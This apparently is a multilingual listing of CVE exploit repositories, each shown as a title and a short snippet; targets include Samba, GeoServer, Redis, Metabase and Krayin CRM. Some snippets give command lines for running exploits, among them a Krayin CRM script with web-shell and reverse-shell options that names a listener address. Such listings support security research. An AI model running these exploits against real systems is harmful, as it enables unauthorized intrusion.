Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py 바로 실행하면 됩니다. python server-1.py 임의 파일 업로드 PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 결과는 다음과 같습니다: CVE-2021-41127 server-1.py 기본 모델명: evilimportmodel.tar.gz 악성 모델 데모 version: "3.1" intents: - greet responses...

CVE-2026-48907

CVE-2026-48907 — Joomla Content Editor JCE ≤ 2.9.99.4 における認証不要のRCE CVE-2026-48907 の概念実証エクスプロイト — Joomla Content Editor JCE 拡張機能における CVSS 10.0 の事前認証リモートコード実行脆弱性。 Grayxploit Security Team による研究 目次 概要 影響を受けるバージョン 脆弱性の詳細 攻撃フロー 概念実証 パッチ分析 修正方法 タイムライン 参考文献 免責事項 概要 CVE-2026-48907 は、Joomla Content Editor...

CVE-2025-10230

CVE-2025-10230: Samba 치명적 RCE CVSS 10.0 취약점 요약 CVE-2025-10230은 13년 동안 Samba 코드베이스에 숨겨져 있던 치명적인 원격 코드 실행RCE 취약점입니다. 이 결함은 WINSWindows Internet Name Service 등록 패킷 처리에서 발생합니다. wins support = yes와 wins hook에 정의된 스크립트로 도메인 컨트롤러로 구성된 경우, Samba는 수신된 NetBIOS 이름을 정화하지 못합니다. 인증되지 않은 공격자는 셸 메타문자예: 명령어를 포함하는...

CVE-2026-55200

セキュリティレポート：CVE-2026-55200 📝 概要説明 CVE-2026-55200 は、libssh2 ライブラリのバージョン1.11.1までに影響する、 ヒープ ベースのメモリオーバーフロー（動的メモリ破損）の重大な脆弱性です。 悪意のあるSSHサーバーが、それに接続する脆弱なクライアントを侵害することを可能にします。 ⚡ 技術的詳細 脆弱性の種類: メモリオーバーフロー（ ヒープベースのバッファオーバーフロー ）。 主な影響: リモートコード実行（RCE）およびサービス拒否（DoS）。 攻撃フェーズ: 暗号化認証前 に発生します。 攻撃ベクトル:...

CVE-2024-36401-poc

CVE-2024-36401 — GeoServer OGC XPath 인젝션 RCE OGC 필터 valueReference 매개변수 인젝션XPath/JXPath 평가을 통한 GeoServer 무인증 원격 코드 실행RCE 익스플로잇. 면책 고지: 이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 제작되었습니다. 소유하지 않았거나 명시적인 서면 테스트 승인을 받지 않은 시스템에는 사용하지 마십시오. 작성자는 이 도구로 인한 오용 또는 피해에 대해 어떠한 책임도 지지 않습니다. 목차 개요 영향을 받는 버전 기술 세부 정보 요구 사...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit system의 주소와 가젯은 정보 유출 취약점을 통해 발견된 실제 주소로 교체되어야 합니다. system과 가젯의 주소를 교체한 후, 손상된 GIF 파일을 생성하기 위해 코드를 실행하세요: 이제 해봅시다 root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE 描述 针对 Krayin CRM v2.2.x 关键漏洞的 PoC 脚本，通过不受限制的文件上传实现经过认证的 RCE。 用法 Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -u http://target.com -e [email protected] -p password123 -l 10.10.10.10 ...

CVE-2018-1000533

GitList 0.6.0 원격 코드 실행 취약점 CVE-2018-1000533 GitList는 현대적인 Git 저장소 뷰어이다. GitList 0.6.0 이하 버전에서는 시스템 함수에 부적절하게 검증된 입력값을 전달하는 취약점이 존재하여, PHP 사용자 권한으로 임의의 명령어를 실행할 수 있다. 환경 구성 GitList 서버 0.6.0을 시작하기 위해 다음 명령을 실행한다. docker compose up -d poc.py 실행 전 의존성을 설치한다. pip install requests 환경 구성이 완료되면...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Pterodactyl 패널 RCE 익스플로잇 HTB 시즌 10 - Pterodactyl 머신 라이트업 개요 대상: Pterodactyl HTB 머신 중간 난이도 CVE: CVE-2025-49132 심각도: 치명적 CVSS 9.8 공격 유형: 인증되지 않은 원격 코드 실행 영향: Pterodactyl 패널 원격 코드 실행 방법 1: 제공된 exploit.sh 사용 chmod +x exploit.sh Get user flag ./exploit.sh flag Execute commands...

CVE-2022-0944_RCE_Automation

저는 이 취약점을 발견한 연구자가 아니라 이 코드의 작성자일 뿐입니다. 이 코드는 교육 목적으로만 제공됩니다...

CVE-2026-104019 OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution when running on Amazon SageMaker Unified Studio

OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution 2.x before 2.14.12, 3.x before 3.9.12, 4.0.x before 4.0.11, 4.1.x before 4.1.11, 4.2.x before 4.2.8, 4.3.x before 4.3.5, and 4.4.x before 4.4.3, as used by Amazon SageMaker Unified Studio, might...

CVE-2026-104019

An OS command injection vulnerability exists in the Studio Space startup validation script of Amazon SageMaker Distribution (versions 2.x < 2.14.12, 3.x < 3.9.12, 4.0.x < 4.0.11, 4.1.x < 4.1.11, 4.2.x < 4.2.8, 4.3.x < 4.3.5, and 4.4.x

CVE-2025-49844

🚨 CVE-2025-49844 — “RediShell” 세계에서 가장 빠른 인메모리 스토어에서의 치명적인 원격 코드 실행 Redis Lua 스크립팅이 이제 완벽한 인증 후 착륙 지점이 되었습니다. 인증된 공격자 → 조작된 Lua 스크립트 → 샌드박스 탈출 → 호스트에서의 완전한 RCE ⚠️ 개요 CVE-2025-49844"RediShell "는 Redis 에 내장된 Lua 스크립팅 엔진에서 발생하는 치명적인 use-after-freeUAF 메모리 손상 취약점입니다. 인증된 사용자가 EVAL / EVALSHA를 통해 특수하게 조작...

threat-intel-cve-2024-3094

위협 인텔리전스 보고서: CVE-2024-3094 – XZ 유틸 백도어 이 저장소는 2024년 xz-utils 압축 도구에서 발견된 고위험 백도어 취약점인 CVE-2024-3094 를 분석한 위협 인텔리전스 보고서를 포함하고 있습니다. CVE-2024-3094는 악성 백도어가 xz 압축 라이브러리에 삽입되어 특정 버전5.6.0 및 5.6.1에 영향을 미친 심각한 공급망 손상입니다. 이 백도어는 systemd를 통해 SSH 인증에서 원격 코드 실행을 가능하게 하여 Linux 시스템에 심각한 위험을 초래했습니다. 취약점 ID :...

CVE-2008-4687-exploit

CVE-2008-4687-exploit CVE-2008-4687용 빠르고 간단한 파이썬 익스플로잇입니다. NIST의 설명: Mantis 1.1.4 이전 버전의 manageprojpage.php는 인증된 원격 사용자가 PHP 시퀀스를 포함하는 sort 매개변수를 통해 임의 코드를 실행할 수 있게 하며, 이는 core/utilityapi.php의 multisort 함수 내에서 createfunction에 의해 처리됩니다...

CVE-2025-55182

RSC Detector - React Server Components 취약점 스캐너 Next.js 애플리케이션에서 React Server Components RSC 취약점을 탐지 및 악용하기 위한 Python 기반 보안 스캐너입니다. 이 도구는 수동 탐지, 능동 핑거프린팅, RCE 익스플로잇 테스트를 수행합니다. ⚠️ 경고 : 이 도구는 승인된 보안 테스트용 으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 항상 테스트 전에 서면 허가를 받으십시오. 기능 ✅ 수동 탐지 - HTML, 헤더, 페이지 구조를...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 webmin python3로 작성됨 사용법: python CVE-2019-15107.py https://172.16.20.134:10000 whoami...

CVE-2023-38646

CVE-2023-38646 PoC 설명 이것은 오픈소스 비즈니스 인텔리전스 및 데이터 분석 도구인 Metabase를 익스플로잇하기 위한 개념 증명PoC 스크립트입니다. Metabase를 사용하면 사용자가 데이터를 시각화하고 상호 작용할 수 있어 데이터 분석을 위한 강력한 플랫폼을 제공합니다. CVE-2023-38646으로 지정된 이 취약점은 공격자가 인증 없이 서버에서 임의의 명령을 실행할 수 있게 했습니다. 이 결함의 영향은 심각했으며, 서버의 권한 수준에서 서버에 대한 무단 액세스를 허용했습니다. 개념 증명PoC 단계 이...

CVE-2025-55182-realistic-poc

CVE-2025-55182: React Server Components RCE [email protected]의 심각한 원격 코드 실행 취약점을 보여주는 최소한의 개념 증명입니다. CVE-2025-55182란 무엇인가? 사전 인증 RCE 취약점으로, 취약한 react-server-dom-webpack 패키지버전 19.0.0 19.2.0를 사용하는 서버에서 공격자가 임의 코드를 실행할 수 있게 합니다. CVSS 점수: 10 심각 영향을 받는 패키지 react-server-dom-webpack 19.0.0, 19.1.0,...

CVE-2016-2555

CVE-2016-2555 익스플로잇 이 익스플로잇은 ATutor 2.2.1 의 SQL 인젝션 취약점 과 인증 약점 취약점 을 대상으로 합니다. 이러한 취약점을 악용하면 공격자는 악성 코드를 업로드하여 취약한 서버에서 원격 코드 실행RCE을 달성할 수 있습니다. 사용법 $ python3 CVE-2016-2555.py target:port 예시: $ python3 CVE-2016-2555.py 127.0.0.1:8080 기능 ATutor 2.2.1의 SQL 인젝션 취약점을 악용합니다. 인증을 우회하여 관리자 액세스 권한을 얻습니다...